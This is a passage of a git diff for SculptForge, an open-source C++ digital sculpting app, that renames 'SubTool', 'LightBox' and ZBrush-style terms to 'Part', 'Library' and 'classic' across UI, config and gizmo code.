renderer_.bindStrokeUpload(s.uploadId, s.upload); // (the slot, found here: the thread doesn't walk the renderer's list)
s.prepare = &displayedMesh() == &doc_.mesh; // (a previewed LOD shows instead: nothing to pack)
@@ -333,7 +333,7 @@ void App::finishStrokeNow() {
if (solver_) solver_->finalize = false;
doc_.sculptor.flushDraft(doc_.mesh, doc_.bvh); // (a draft stroke ended here rather than on the solver thread)
renderer_.setDraftNormals(0);
- if (asyncStroke_) renderer_.refineStrokeBounds(doc_.activeSubtoolInfo().id, displayedMesh()); // (the quick ones)
+ if (asyncStroke_) renderer_.refineStrokeBounds(doc_.activePartInfo().id, displayedMesh()); // (the quick ones)
strokeFinishing_ = false;
asyncStroke_ = false;
renderer_.setGhost(0, GhostStroke());
@@ -383,7 +383,7 @@ App::DabSettings App::dabSettings() const {
st.mask = strokeMask_;
st.paint = strokePaint_;
st.sculpt = strokeSculpt_;
- st.visible = doc_.activeSubtoolInfo().visible;
+ st.visible = doc_.activePartInfo().visible;
st.brush = strokeBrush_;
st.strokeType = strokeType_;
st.symmetry = symmetry_;
@@ -434,7 +434,7 @@ bool App::ghostSurface(const glm::vec3& origin, const glm::vec3& dir, glm::vec3&
void App::buildGhost() {
ghostHeadValid_ = false;
- const uint32_t id = doc_.activeSubtoolInfo().id;
+ const uint32_t id = doc_.activePartInfo().id;
if (liveMove_.active) { // Live Move: one "dab" per mirror, the whole move so far
GhostStroke g;
g.kind = GhostKind::Move;
diff --git a/src/app/AsyncStroke.h b/src/app/AsyncStroke.h
index 2f1fae58..11f22b41 100644
--- a/src/app/AsyncStroke.h
+++ b/src/app/AsyncStroke.h
@@ -34,7 +34,7 @@ struct App::StrokeSolver {
std::vector<float> radiusProbe;
double dabSeconds = 0.0; // the batch's mean cost per dab
double prepSeconds = 0.0; // what packing its upload cost
- uint32_t uploadId = 0; // the active SubTool's renderer slot
+ uint32_t uploadId = 0; // the active Part's renderer slot
bool prepare = true; // pack the upload on the thread
bool finalize = false; // before the batch: Sculptor::flushDraft (a draft stroke's end)
// Kelvinlet strokes (PanelKelvinlet.cpp): after the batch's dabs, these moves (taken on the main thread, by
diff --git a/src/app/BrushPreview.cpp b/src/app/BrushPreview.cpp
index c4d82f8f..dbbf84ee 100644
--- a/src/app/BrushPreview.cpp
+++ b/src/app/BrushPreview.cpp
@@ -16,13 +16,13 @@ namespace sf {
std::unique_ptr<Mesh> sceneMesh(Document& doc) {
auto out = std::make_unique<Mesh>();
bool colors = false;
- for (int i = 0; i < doc.subtoolCount(); ++i)
- colors |= doc.subtools[size_t(i)].visible &&
- doc.subtoolMesh(i).colors.size() == doc.subtoolMesh(i).positions.size() &&
- !doc.subtoolMesh(i).colors.empty();
- for (int i = 0; i < doc.subtoolCount(); ++i) {
- if (!doc.subtools[size_t(i)].visible) continue;
- const Mesh& m = doc.subtoolMesh(i);
+ for (int i = 0; i < doc.partCount(); ++i)
+ colors |= doc.parts[size_t(i)].visible &&
+ doc.partMesh(i).colors.size() == doc.partMesh(i).positions.size() &&
+ !doc.partMesh(i).colors.empty();
+ for (int i = 0; i < doc.partCount(); ++i) {
+ if (!doc.parts[size_t(i)].visible) continue;
+ const Mesh& m = doc.partMesh(i);
const uint32_t base = uint32_t(out->positions.size());
out->positions.insert(out->positions.end(), m.positions.begin(), m.positions.end());
if (colors) {
@@ -82,7 +82,7 @@ void stroke(Document& d, const BrushRecipe* recipe, BrushType type, std::vector<
// on the shared ball (see kBallRadius).
std::unique_ptr<Mesh> sculptBrushPreview(const BrushRecipe* recipe, int type) {
if (type == kPaintBrush) {
- // Polypaint: a coloured S on the ball; white elsewhere, so the material shows as on the others.
+ // Vertex paint: a coloured S on the ball; white elsewhere, so the material shows as on the others.
Mesh m = makeIcosphere(kBallDetail, kBallRadius);
m.ensureColors(glm::vec3(1.0f));
for (uint32_t v = 0; v < m.vertexCount(); ++v) {
@@ -114,13 +114,13 @@ std::unique_ptr<Mesh> sculptBrushPreview(const BrushRecipe* recipe, int type) {
stroke(d, nullptr, bt, line({dx - 0.28f, -0.42f, 2.0f}, {dx + 0.12f, 0.42f, 2.0f}), 0.15f, 1.0f, false);
}
break;
- case BrushType::ClayBuildup: // a hash of square, flat-topped bars, built up in two directions
+ case BrushType::ClayBlock: // a hash of square, flat-topped bars, built up in two directions
for (float o : {-0.2f, 0.2f}) {
stroke(d, nullptr, bt, line({-0.5f, o, 2.0f}, {0.5f, o, 2.0f}), 0.13f, 0.1f, false);
stroke(d, nullptr, bt, line({o, -0.5f, 2.0f}, {o, 0.5f, 2.0f}), 0.13f, 0.1f, false);
}
break;
- case BrushType::DamStandard: // one deep, sharp diagonal cut
+ case BrushType::SharpCrease: // one deep, sharp diagonal cut
stroke(d, nullptr, bt, line({-0.55f, 0.45f, 2.0f}, {0.55f, -0.45f, 2.0f}), 0.2f, 1.0f, false);
stroke(d, nullptr, bt, line({-0.55f, 0.45f, 2.0f}, {0.55f, -0.45f, 2.0f}), 0.2f, 1.0f, false);
break;
diff --git a/src/app/Config.cpp b/src/app/Config.cpp
index 357067d9..dd285b0e 100644
--- a/src/app/Config.cpp
+++ b/src/app/Config.cpp
@@ -2,8 +2,8 @@
// SPDX-License-Identifier: GPL-3.0-or-later
//
// Default actions and shortcuts, Store Config / Restore / Save / Load UI,
-// the Preferences > Config / Interface / Hotkeys / LightBox sections, the F1
-// Controls sheet (generated from the action registry) and ZBrush-style
+// the Preferences > Config / Interface / Hotkeys / Library sections, the F1
+// Controls sheet (generated from the action registry) and classic
// shortcut assignment.
#include "app/UiScale.h"
#include "app/Config.h"
@@ -14,6 +14,7 @@
#include "app/Palettes.h"
#include "app/Ui.h"
#include "app/I18n.h"
+#include "core/LegacyNames.h"
#include "core/Bake.h"
#include "core/Micro.h"
#include "core/Multires.h"
@@ -50,7 +51,7 @@ void lookToJson(const UiPrefs& p, Json& j) {
look.set("outlines", std::string(p.look.outlines == 0 ? "off" : p.look.outlines == 2 ? "on" : "subtle"));
look.set("outlineOpacity", double(p.look.outlineOpacity));
j.set("look", std::move(look));
- j.set("layout", std::string(p.shellLayout == 1 ? "sculptforge" : "zbrush"));
+ j.set("layout", std::string(p.shellLayout == 1 ? "sculptforge" : "classic"));
}
bool lookFromJson(const Json& j, UiPrefs& p) {
@@ -81,11 +82,11 @@ Json toJson(const UiPrefs& p) {
j.set("autoCollapseLeft", p.autoCollapseLeft);
j.set("autoCollapseRight", p.autoCollapseRight);
j.set("uiScale", double(p.uiScale));
- j.set("lightboxAtStartup", p.lightboxAtStartup);
+ j.set("libraryAtStartup", p.libraryAtStartup);
j.set("libraryFolder", p.libraryFolder);
j.set("cameraNotch", double(p.cameraNotch));
j.set("turntable", p.turntable);
- j.set("inputStyle", std::string(p.inputStyle == 3 ? "maya" : p.inputStyle == 2 ? "blender" : p.inputStyle == 1 ? "sculptforge" : "zbrush"));
+ j.set("inputStyle", std::string(p.inputStyle == 3 ? "maya" : p.inputStyle == 2 ? "blender" : p.inputStyle == 1 ? "sculptforge" : "classic"));
j.set("emulateNumpad", p.emulateNumpad);
j.set("rightClickQuickMenu", p.rightClickQuickMenu);
j.set("spaceCamera", p.spaceCamera);
@@ -142,7 +143,7 @@ void fromJson(const Json& j, UiPrefs& p) {
p.autoCollapseLeft = j["autoCollapseLeft"].asBool(p.autoCollapseLeft);
p.autoCollapseRight = j["autoCollapseRight"].asBool(p.autoCollapseRight);
p.uiScale = std::clamp(float(j["uiScale"].asNumber(p.uiScale)), 0.0f, 3.0f);
- p.lightboxAtStartup = j["lightboxAtStartup"].asBool(p.lightboxAtStartup);
+ p.libraryAtStartup = j["libraryAtStartup"].asBool(p.libraryAtStartup);
if (j["libraryFolder"].isString()) p.libraryFolder = j["libraryFolder"].asString();
p.cameraNotch = std::clamp(int(j["cameraNotch"].asNumber(p.cameraNotch)), 0, 2);
p.turntable = j["turntable"].asBool(p.turntable);
@@ -175,7 +176,7 @@ void fromJson(const Json& j, UiPrefs& p) {
}
p.showViewFigure = j["showViewFigure"].asBool(p.showViewFigure);
p.alphabeticalPalettes = j["alphabeticalPalettes"].asBool(p.alphabeticalPalettes);
- // A ui.json from before 0.10.7 names neither: it was stored with the Classic look and the ZBrush-style layout,
+ // A ui.json from before 0.10.7 names neither: it was stored with the Classic look and the Classic layout,
// and keeps them (the new-look card offers the new default once, PanelSupport.cpp).
p.lookSaved = lookFromJson(j, p);
if (!p.lookSaved) {
@@ -370,7 +371,7 @@ void App::initActions() {
"Cap every open boundary of the active Part (a hole, an open bottom, the rim of an extracted shell) with a "
"new patch sized like the polygons around it, so remeshing and sculpting see a closed surface. The rest of "
"the Part stays as it is; the patches get a face group of their own (#103).");
- // Subdivision levels (ZBrush Tool > Geometry; core/Multires.h).
+ // Subdivision levels (Tool > Geometry; core/Multires.h).
add("geometry.divide", "Divide", "Tool > Geometry", "Ctrl+D", [this] { runCommand("subdiv_divide", {{"smooth", smt_}}); },
ICON_LC_GRID_2X2, "subdiv_divide", nullptr, nullptr,
"Add a subdivision level: four times the polygons, and the lower levels are kept, so you can step down to "
@@ -412,33 +413,33 @@ void App::initActions() {
"Write the micro level as a 32-bit EXR displacement map over the base UVs (next to the project).");
add("geometry.micro_noise", "Micro Surface Noise", "Tool > Geometry", nullptr, [this] { runCommand("micro_noise"); }, nullptr,
"micro_noise", nullptr, [this] { return hasMicro(doc_.mesh); });
- add("subtool.duplicate", "Duplicate Part", "Tool > Parts", "Ctrl+Shift+D", [this] { runCommand("subtool_duplicate"); },
- ICON_LC_COPY, "subtool_duplicate", nullptr, nullptr,
+ add("part.duplicate", "Duplicate Part", "Tool > Parts", "Ctrl+Shift+D", [this] { runCommand("part_duplicate"); },
+ ICON_LC_COPY, "part_duplicate", nullptr, nullptr,
"Copy the active Part, with its layers and attributes, and make the copy active (also in the Parts list's "
"right-click menu).");
- // Tool > SubTool > Extract, Tool > Geometry > Modify Topology, Tool > Deformation (PanelExtract.cpp).
- add("subtool.extract", "Extract", "Tool > Parts", nullptr, [this] { runExtract(); }, nullptr, "extract", nullptr,
+ // Tool > Part > Extract, Tool > Geometry > Modify Topology, Tool > Deformation (PanelExtract.cpp).
+ add("part.extract", "Extract", "Tool > Parts", nullptr, [this] { runExtract(); }, nullptr, "extract", nullptr,
[this] { return doc_.mesh.hasMask(); },
"Make a shell from the masked part of the Part (a helmet, a strap, clothing), shown as a preview below it. "
"Change Thick, E Smt or Double and it updates; Accept keeps it as a new Part.");
- add("subtool.extract_accept", "Accept", "Tool > Parts", nullptr, [this] { runCommand("extract_accept"); }, nullptr,
+ add("part.extract_accept", "Accept", "Tool > Parts", nullptr, [this] { runCommand("extract_accept"); }, nullptr,
"extract_accept", nullptr, [this] { return doc_.extractPreviewCurrent(); },
"Keep the Extract preview as a new Part below this one. Ctrl+Z takes it away again.");
- add("subtool.extract_double", "Double", "Tool > Parts", nullptr,
+ add("part.extract_double", "Double", "Tool > Parts", nullptr,
[this] {
extractDouble_ = !extractDouble_;
if (doc_.extractPreviewCurrent()) runExtract();
},
nullptr, nullptr, [this] { return extractDouble_; }, nullptr,
"Grow the extracted shell both inward and outward from the surface, instead of outward only.");
- add("subtool.extract_tcorne", "TCorne", "Tool > Parts", nullptr,
+ add("part.extract_tcorne", "TCorne", "Tool > Parts", nullptr,
[this] {
extractTCorne_ = !extractTCorne_;
if (doc_.extractPreviewCurrent()) runExtract();
},
nullptr, nullptr, [this] { return extractTCorne_; }, nullptr,
"Triangle corners: where the extracted edge turns sharply, the rim is made of triangles instead of quads.");
- add("subtool.extract_tborder", "TBorder", "Tool > Parts", nullptr,
+ add("part.extract_tborder", "TBorder", "Tool > Parts", nullptr,
[this] {
extractTBorder_ = !extractTBorder_;
if (doc_.extractPreviewCurrent()) runExtract();
@@ -507,7 +508,7 @@ void App::initActions() {
"Export the model as glTF binary, with sculpt layers as blend shapes (morph targets).");
add("file.export_stl", "Export STL...", "File > Export", nullptr, [this] {
static const SDL_DialogFileFilter filters[] = {{"STL", "stl"}, {"All files", "*"}};
- SDL_ShowSaveFileDialog(onGozFileChosen, &gozDialogs_[int(GozFile::ExportStl)], window_, filters, 2, nullptr);
+ SDL_ShowSaveFileDialog(onBridgeFileChosen, &bridgeDialogs_[int(BridgeFile::ExportStl)], window_, filters, 2, nullptr);
},
nullptr, nullptr, nullptr, nullptr, "Save the visible Parts as one binary STL, for 3D printing.");
add("file.send_unreal", "Send to Unreal", "File > Export", "Ctrl+U", [this] { sendToUnreal(); }, ICON_LC_SEND, nullptr,
@@ -659,7 +660,7 @@ void App::initActions() {
add("script.clear_console", "Clear console", "Script", nullptr, [this] { console_.clear(); }, ICON_LC_TRASH_2, nullptr, nullptr,
nullptr, "Empty the console log (the session script is kept).");
- // --- Config (ZBrush: Preferences > Config) ---
+ // --- Config (Preferences > Config) ---
add("config.store", "Store Config", "Preferences > Config", "Ctrl+Shift+I", [this] { storeConfig(); }, ICON_LC_SAVE, nullptr,
nullptr, nullptr,
"Keep the current layout, shortcuts and interface preferences for future sessions. SculptForge never "
@@ -690,15 +691,15 @@ void App::initActions() {
registerGizmoActions(); // Q W E R: Draw, and the Gizmo 3D's Move, Scale, Rotate (Gizmo.cpp)
registerBakeUiActions(); // Tool > Bake (PanelBake.cpp)
registerUvEditorActions(); // UV Editor (PanelUvEditor.cpp)
- registerRetopoUiActions(); // Geometry > QRemesh, SubTool > ProjectAll (PanelRetopo.cpp)
- registerZSphereUiActions(); // Tool > ZSpheres (PanelZSpheres.cpp)
+ registerRetopoUiActions(); // Geometry > QRemesh, Part > ProjectAll (PanelRetopo.cpp)
+ registerForgeSphereUiActions(); // Tool > Forge Spheres (PanelForge Spheres.cpp)
registerSplatTrainUi(); // Splats > Train from capture (PanelSplatTrain.cpp)
registerSculptableUiActions(); // Splats > Make sculptable (PanelSculptable.cpp)
registerVdmActions(); // Brush > Vector Displacement (PanelVdm.cpp)
registerKelvinletActions(); // Brush > Kelvinlet & Capture: Capture from view (PanelKelvinlet.cpp)
registerFaceUiActions(); // Tool > Facial Shapes, face_take_play / face_take_stop (PanelFace.cpp)
registerPerformanceUiActions(); // Preferences > Performance (PanelPerformance.cpp)
- registerInputActions(); // ZBrush keys: U I O, Space, L, V, Ctrl+A / I / H / W..., the input style (Input.cpp)
+ registerInputActions(); // the Classic sculpting keys: U I O, Space, L, V, Ctrl+A / I / H / W..., the input style (Input.cpp)
registerTimelineUiActions(); // Sculpt Timeline, timelapse, Help > Benchmark (PanelTimeline.cpp)
// Every command, so the command palette finds anything scriptable.
@@ -831,6 +832,7 @@ bool App::readUiConfig(const std::string& path, std::string& err) {
err = path + ": " + err;
return false;
}
+ j = legacy::modernizeKeys(j); // keys an older version wrote
if (!j.isObject() || !j["layout"].isObject()) {
err = path + " is not a SculptForge UI configuration";
return false;
@@ -930,8 +932,8 @@ std::string App::layoutKey() const {
UiLayout l = layout_; // what a session changes on its own doesn't count as a layout edit
l.consoleOpen = false;
l.consoleHeight = 0;
- l.lightboxOpen = false;
- l.lightboxTab.clear();
+ l.libraryOpen = false;
+ l.libraryTab.clear();
l.customize = false;
return toJson(l).dump();
}
@@ -1009,7 +1011,7 @@ void App::drawHintsSection() {
void App::watchLayoutChanges() {
if (layoutHintShown_ || uiConfigDeterministic_ || ++layoutCheckFrame_ % 20 != 0) return;
if (layoutKey() == layoutBaseline_) return;
- layoutHintShown_ = true; // once per session (ZBrush never saves the layout by itself)
+ layoutHintShown_ = true; // once per session (never saves the layout by itself)
status_ = "Layout changed - Ctrl+Shift+I to keep it";
}
@@ -1110,7 +1112,7 @@ void App::drawHelpConsoleUi() {
} else if (kind == kLibraryFolder) {
uiPrefs_.libraryFolder = path;
std::string libErr;
- if (ensureUserLibrary(path, libErr)) { // the LightBox's User folder, from now on
+ if (ensureUserLibrary(path, libErr)) { // the Library's User folder, from now on
library_.user = path;
libraryScanner_.invalidate();
status_ = "Library folder: " + path + " (Store Config keeps it)";
@@ -1183,7 +1185,7 @@ void App::drawControlsWindow() {
if (ImGui::BeginTabBar("##controls_tabs")) {
if (ImGui::BeginTabItem(tr("Keyboard"))) {
ImGui::BeginChild("##controls_keys", ImVec2(0, -ImGui::GetTextLineHeightWithSpacing() * 1.6f));
- // Grouped by palette, alphabetically (as ZBrush lists its palettes).
+ // Grouped by palette, alphabetically (as classic lists its palettes).
std::map<std::string, std::vector<const Action*>> groups;
for (const auto& a : actions_.all()) {
const std::string chord = actions_.shortcutText(a.id);
@@ -1431,29 +1433,29 @@ void drawHotkeysSection(App& app) {
ui::HelpText("Default shortcuts", nullptr, "Undo every shortcut change.", "Preferences > Hotkeys");
}
-void drawLightBoxSection(App& app) {
+void drawLibraryBrowserSection(App& app) {
UiPrefs& p = app.uiPrefs();
UiLayout& l = app.layout();
- ImGui::Checkbox(tr("Show at startup"), &p.lightboxAtStartup);
+ ImGui::Checkbox(tr("Show at startup"), &p.libraryAtStartup);
ui::HelpText("Show Library at startup", nullptr, "Open Library on the Project tab when SculptForge starts.",
"Preferences > Library");
ImGui::AlignTextToFramePadding();
ImGui::TextUnformatted(tr("Rows"));
for (int r = 1; r <= 4; ++r) {
ImGui::SameLine();
- const bool on = l.lightboxRows == r;
+ const bool on = l.libraryRows == r;
if (on) ImGui::PushStyleColor(ImGuiCol_Button, col(ui::color::accent));
- if (ImGui::Button((std::to_string(r) + "##lbrows").c_str(), ImVec2(ImGui::GetFrameHeight() * 1.3f, 0))) l.lightboxRows = r;
+ if (ImGui::Button((std::to_string(r) + "##lbrows").c_str(), ImVec2(ImGui::GetFrameHeight() * 1.3f, 0))) l.libraryRows = r;
if (on) ImGui::PopStyleColor();
ui::HelpText("Library rows", nullptr, "How many rows of thumbnails the Library strip shows.", "Preferences > Library");
}
ImGui::AlignTextToFramePadding();
ImGui::TextUnformatted(tr("Placement"));
ImGui::SameLine();
- if (ImGui::RadioButton(tr("Top"), !l.lightboxBottom)) l.lightboxBottom = false;
+ if (ImGui::RadioButton(tr("Top"), !l.libraryBottom)) l.libraryBottom = false;
ui::HelpText("Library at the top", nullptr, "Library opens along the top edge of the canvas.", "Preferences > Library");
ImGui::SameLine();
- if (ImGui::RadioButton(tr("Bottom"), l.lightboxBottom)) l.lightboxBottom = true;
+ if (ImGui::RadioButton(tr("Bottom"), l.libraryBottom)) l.libraryBottom = true;
ui::HelpText("Library at the bottom", nullptr, "Library opens above the bottom shelf.", "Preferences > Library");
ImGui::TextColored(col(ui::color::textDim), "Library folder");
const std::string shown = p.libraryFolder.empty() ? std::string("Documents/SculptForge (default)") : p.libraryFolder;
@@ -1489,7 +1491,7 @@ void drawLookMiniature(ImDrawList* dl, ImVec2 a, ImVec2 b, const looks::Palette&
const float barH = (layout == 0 ? 14.0f : 8.0f) * s;
dl->AddRectFilled(ImVec2(a.x + g, top), ImVec2(b.x - g, top + barH), col(pal.mantle));
dl->AddRectFilled(ImVec2(a.x + g + 2.0f * s, top + 2.0f * s), ImVec2(a.x + g + 16.0f * s, top + 6.0f * s), col(pal.accent));
- if (layout >= 0) // the shelf's tiles: one row, or two in the ZBrush-style layout
+ if (layout >= 0) // the shelf's tiles: one row, or two in the Classic layout
for (int row = 0; row < (layout == 0 ? 2 : 1); ++row)
for (float x = a.x + g + 22.0f * s; x < b.x - g - 8.0f * s; x += 9.0f * s)
dl->AddRectFilled(ImVec2(x, top + 2.0f * s + float(row) * 6.0f * s), ImVec2(x + 6.0f * s, top + 6.0f * s + float(row) * 6.0f * s),
@@ -1648,7 +1650,7 @@ void App::drawLookSection() {
"Every palette is a section of one menu, and F3 finds them all.",
"Preferences > Interface > Look");
ImGui::SameLine();
- if (ImGui::RadioButton(tr("Classic##layout.zbrush"), uiPrefs_.shellLayout == 0)) {
+ if (ImGui::RadioButton(tr("Classic##layout.classic"), uiPrefs_.shellLayout == 0)) {
setShellLayout(0);
lookDirty_ = true;
}
diff --git a/src/app/Config.h b/src/app/Config.h
index cf4782bc..6546066b 100644
--- a/src/app/Config.h
+++ b/src/app/Config.h
@@ -1,7 +1,7 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// UI preferences and the ZBrush-style configuration workflow: Store Config
+// UI preferences and the classic configuration workflow: Store Config
// (Ctrl+Shift+I) writes <prefs>/ui.json with the layout, shortcut overrides and
// these preferences; nothing is saved automatically. Restore Standard UI goes
// back to the built-in layout, Restore Custom UI to the stored one, and Save UI /
@@ -23,26 +23,26 @@ namespace sf {
class App;
struct UiPrefs {
- bool popupInfo = true; // Ctrl+hover shows an item's description (ZBrush "Popup Info")
- float helpOpacity = 0.97f; // Ctrl-help box opacity (ZBrush "Quick Info Opacity")
+ bool popupInfo = true; // Ctrl+hover shows an item's description ("Popup Info")
+ float helpOpacity = 0.97f; // Ctrl-help box opacity ("Quick Info Opacity")
float tooltipDelay = 0.5f; // plain hover tooltips on icon-only buttons and clipped labels
bool reduceMotion = false; // hover highlights change colour only: no easing, no lifting tiles (Ui.h)
bool oneSubpalette = true; // opening a sub-palette closes the others (Shift+click opens more)
bool autoCollapseLeft = true, autoCollapseRight = false; // trays collapse palettes that would overflow
float uiScale = 0.0f; // 0 = follow the display; otherwise applied at the next start
- bool lightboxAtStartup = true;
+ bool libraryAtStartup = true;
std::string libraryFolder; // "" = Documents/SculptForge
- bool alphabeticalPalettes = false; // strict A-Z palette bar like ZBrush (default: File, Edit first)
+ bool alphabeticalPalettes = false; // strict A-Z palette bar (default: File, Edit first)
std::string language = "en"; // Preferences > Interface: the interface language, "en" or "es" (app/I18n.h, #44)
int cameraNotch = 0; // keep the UI out of a laptop's camera notch: 0 automatic, 1 always, 2 never
- bool turntable = false; // rotation: false = free, about the screen axes (ZBrush); true = turntable (Y up)
- int inputStyle = 1; // Preferences > Input: 0 ZBrush-style, 1 SculptForge (the default for new installs:
+ bool turntable = false; // rotation: false = free, about the screen axes; true = turntable (Y up)
+ int inputStyle = 1; // Preferences > Input: 0 classic, 1 SculptForge (the default for new installs:
// 1-0 brushes, I = Intensity...), 2 Blender (middle-drag orbit, numpad views,
// Blender's sculpt keys), 3 Maya (Input.cpp). The first-run welcome asks.
bool inputStyleSaved = false; // ui.json named the style (not saved itself): an install from before 0.10.4
- // without it had the ZBrush-style keys and keeps them (PanelProject.cpp)
+ // without it had the Classic sculpting keys and keeps them (PanelProject.cpp)
bool emulateNumpad = false; // Blender style: the 1-9 and 0 keys above the letters act as the numpad (laptops)
- bool rightClickQuickMenu = true; // a right click on the canvas (no drag) opens the QuickMenu, as in ZBrush (#22)
+ bool rightClickQuickMenu = true; // a right click on the canvas (no drag) opens the QuickMenu (#22)
bool spaceCamera = false; // hold Space and drag to move the camera (#43; off: Space opens the QuickMenu)
// Blender style (#77): off, as Blender 5.1+'s default keymap, Alt+left-drag on the model masks (Ctrl+Alt unmasks)
// and turns the view only beside the model; on (Blender's Emulate 3 Button Mouse) it always turns the view.
@@ -60,11 +60,11 @@ struct UiPrefs {
// Dynamic topology: how much Smooth remeshes, 0-1 (DyntopoSettings::smoothRemesh; 1 as before).
float dyntopoSmoothRemesh = 1.0f;
bool airStrokes = false; // start strokes off the model (#62): a left-drag on the background sculpts once it
- // reaches the surface instead of turning the view (off: it turns the view, ZBrush)
+ // reaches the surface instead of turning the view (off: it turns the view, classic)
bool showAxes = true; // Draw > Camera > Axes: the X / Y / Z gizmo in the canvas corner (#31)
int axisGizmoSize = 1; // Draw > Camera > Gizmo size: 0 Small, 1 Medium, 2 Large (axisGizmoScale)
bool showViewFigure = false; // Draw > Camera > View Figure: a small shaded head that turns with the view
- bool cursorFollowsSurface = true; // the brush ring lies on the surface under the pointer, as in SculptGL (#25)
+ bool cursorFollowsSurface = true; // the brush ring lies on the surface under the pointer (#25)
bool hideRingWhileStroking = false; // Preferences > Cursor (#88): only the centre dot while a stroke runs
// Preferences > Hints (U11): the notes SculptForge shows over the 3D view. Each has Don't show again, which
// adds its id here; showHints off hides them all.
@@ -74,7 +74,7 @@ struct UiPrefs {
// (true, the default: clear of the brush shelf below it) or its bottom.
bool timelineTop = true;
// Preferences > Interface > Look: the colours and style of the interface (Theme.h; new installs get Forge
- // Terminal with Tokyo Night), and the shell's layout: 0 the ZBrush-style layout (the alphabetical palette bar,
+ // Terminal with Tokyo Night), and the shell's layout: 0 the Classic layout (the alphabetical palette bar,
// two-row top shelf), 1 the SculptForge layout (the default: task menus File, Edit, Sculpt, Paint, Mesh, View,
// Render, Help, a status bar, one-row shelf). Remembered in project.json too, without Store Config.
theme::LookSettings look;
@@ -107,7 +107,7 @@ struct UiPrefs {
bool liveMove = false;
bool backgroundPreview = false;
bool fastUpload = false;
- // Dynamic topology (Draw palette): false = the detail follows the brush size on screen (Sculptris Pro);
+ // Dynamic topology (Draw palette): false = the detail follows the brush size on screen (dynamic topology);
// true = one detail size for the whole mesh.
bool dyntopoConstantDetail = false;
bool flatShading = false; // Material palette: the scene's shading at startup (false = Smooth, the default)
@@ -132,11 +132,11 @@ namespace config {
void drawConfigSection(App& app); // Enable Customize, Store / Restore / Save / Load UI
void drawInterfaceSection(App& app); // UI scale, Popup Info, tooltips, sub-palettes, left-handed layout
void drawHotkeysSection(App& app); // every action's shortcut, click to reassign
-void drawLightBoxSection(App& app); // show at startup, rows, placement, library folder
+void drawLibraryBrowserSection(App& app); // show at startup, rows, placement, library folder
// The Classic look's colours as a Palette (for its card; the look itself uses Theme.h's tokens).
looks::Palette classicPalette();
// A miniature of a look on its card, from a to b: its wallpaper, a bar with its accent, two tiles and `name` in its
-// text colour. `layout` 0 adds the ZBrush-style palette bar and two-row shelf, 1 the SculptForge menus and one-row
+// text colour. `layout` 0 adds the classic palette bar and two-row shelf, 1 the SculptForge menus and one-row
// shelf (the first-run look picker); -1 neither (Preferences > Interface > Look).
void drawLookMiniature(ImDrawList* dl, ImVec2 a, ImVec2 b, const looks::Palette& pal, const char* name, ImFont* font,
float s, int layout = -1);
diff --git a/src/app/Console.h b/src/app/Console.h
index be40d583..1647fbea 100644
--- a/src/app/Console.h
+++ b/src/app/Console.h
@@ -1,7 +1,7 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// The script console (the ZBrush "script window", backtick key): every command
+// The script console (the classic "script window", backtick key): every command
// the app runs is echoed as a script line with its result, and the input line
// runs script statements (see core/Script.h) with Tab completion and history.
#pragma once
diff --git a/src/app/Demo.h b/src/app/Demo.h
index a33e7459..a2c9b102 100644
--- a/src/app/Demo.h
+++ b/src/app/Demo.h
@@ -164,7 +164,7 @@ private:
std::vector<uint8_t> lastShot_;
int lastShotW_ = 0, lastShotH_ = 0;
std::string scriptDir_; // the .sfui script's folder: relative `drop` paths, $SCRIPT_DIR in env steps
- std::string expandLibrary(std::string text) const; // $LIBRARY -> the LightBox library folder (UiTest.cpp)
+ std::string expandLibrary(std::string text) const; // $LIBRARY -> the Library library folder (UiTest.cpp)
SDL_Keymod held_ = SDL_KMOD_NONE; // modifiers held by `hold` (Ctrl to mask, Ctrl+Shift to hide...)
// Simulated pen (pen_* steps).
SDL_PenID testPen_ = 1; // tablet_plug gives the next pen a new id, as SDL does
diff --git a/src/app/FocusDetailApp.cpp b/src/app/FocusDetailApp.cpp
index 2fc824de..c3780447 100644
--- a/src/app/FocusDetailApp.cpp
+++ b/src/app/FocusDetailApp.cpp
@@ -23,7 +23,7 @@ void App::openFocusDetail(const std::string& path) {
}
const size_t tris = microTriangleCount(m);
doc_.setMesh(std::move(m), std::filesystem::path(path).stem().string());
- frameActiveSubtool();
+ frameActivePart();
char buf[160];
std::snprintf(buf, sizeof buf, "Focus Detail (experimental): %.2f billion micro triangles; detail streams in where you look and sculpt",
double(tris) / 1e9);
diff --git a/src/app/Gizmo.cpp b/src/app/Gizmo.cpp
index 69e9d52b..f7e931e4 100644
--- a/src/app/Gizmo.cpp
+++ b/src/app/Gizmo.cpp
@@ -1,11 +1,11 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// Gizmo 3D (ZBrush's Move W / Scale E / Rotate R, Q back to Draw): a gizmo at the pivot with axis arrows, plane
+// Gizmo 3D (Move W / Scale E / Rotate R, Q back to Draw): a gizmo at the pivot with axis arrows, plane
// squares and a free-move centre (Move), rings and a view ring (Rotate), axis boxes and a uniform centre (Scale).
-// Dragging a handle transforms the active SubTool, or only its unmasked part (posing), through a
+// Dragging a handle transforms the active Part, or only its unmasked part (posing), through a
// TransformSession (core/MeshTransform.h): every frame recomputes from the drag's start, so nothing drifts, and
-// the release makes one undo step per SubTool. Shift snaps (15 degrees, the grid, 10%), Alt+drag moves the pivot
+// the release makes one undo step per Part. Shift snaps (15 degrees, the grid, 10%), Alt+drag moves the pivot
// or turns the axes only, Alt+click on the model puts the pivot there. The Gizmo 3D panel adds numeric entry.
#include "app/App.h"
#include "app/Ui.h"
@@ -198,24 +198,24 @@ void App::setGizmoMode(GizmoMode mode) {
std::vector<int> App::gizmoTargets() const {
std::vector<int> out;
- for (int i = 0; i < doc_.subtoolCount(); ++i) {
- const bool visible = doc_.subtools[size_t(i)].visible;
- if (i == doc_.activeSubtool ? visible : gizmo_.all && visible) out.push_back(i);
+ for (int i = 0; i < doc_.partCount(); ++i) {
+ const bool visible = doc_.parts[size_t(i)].visible;
+ if (i == doc_.activePart ? visible : gizmo_.all && visible) out.push_back(i);
}
return out;
}
void App::updateGizmoPivot() {
- // Recomputed only when the scene changes: a new undo step, another SubTool, the options.
- uint64_t key = uint64_t(doc_.activeSubtoolInfo().id) * 1000003u ^ doc_.undo.revision() * 7919u ^
+ // Recomputed only when the scene changes: a new undo step, another Part, the options.
+ uint64_t key = uint64_t(doc_.activePartInfo().id) * 1000003u ^ doc_.undo.revision() * 7919u ^
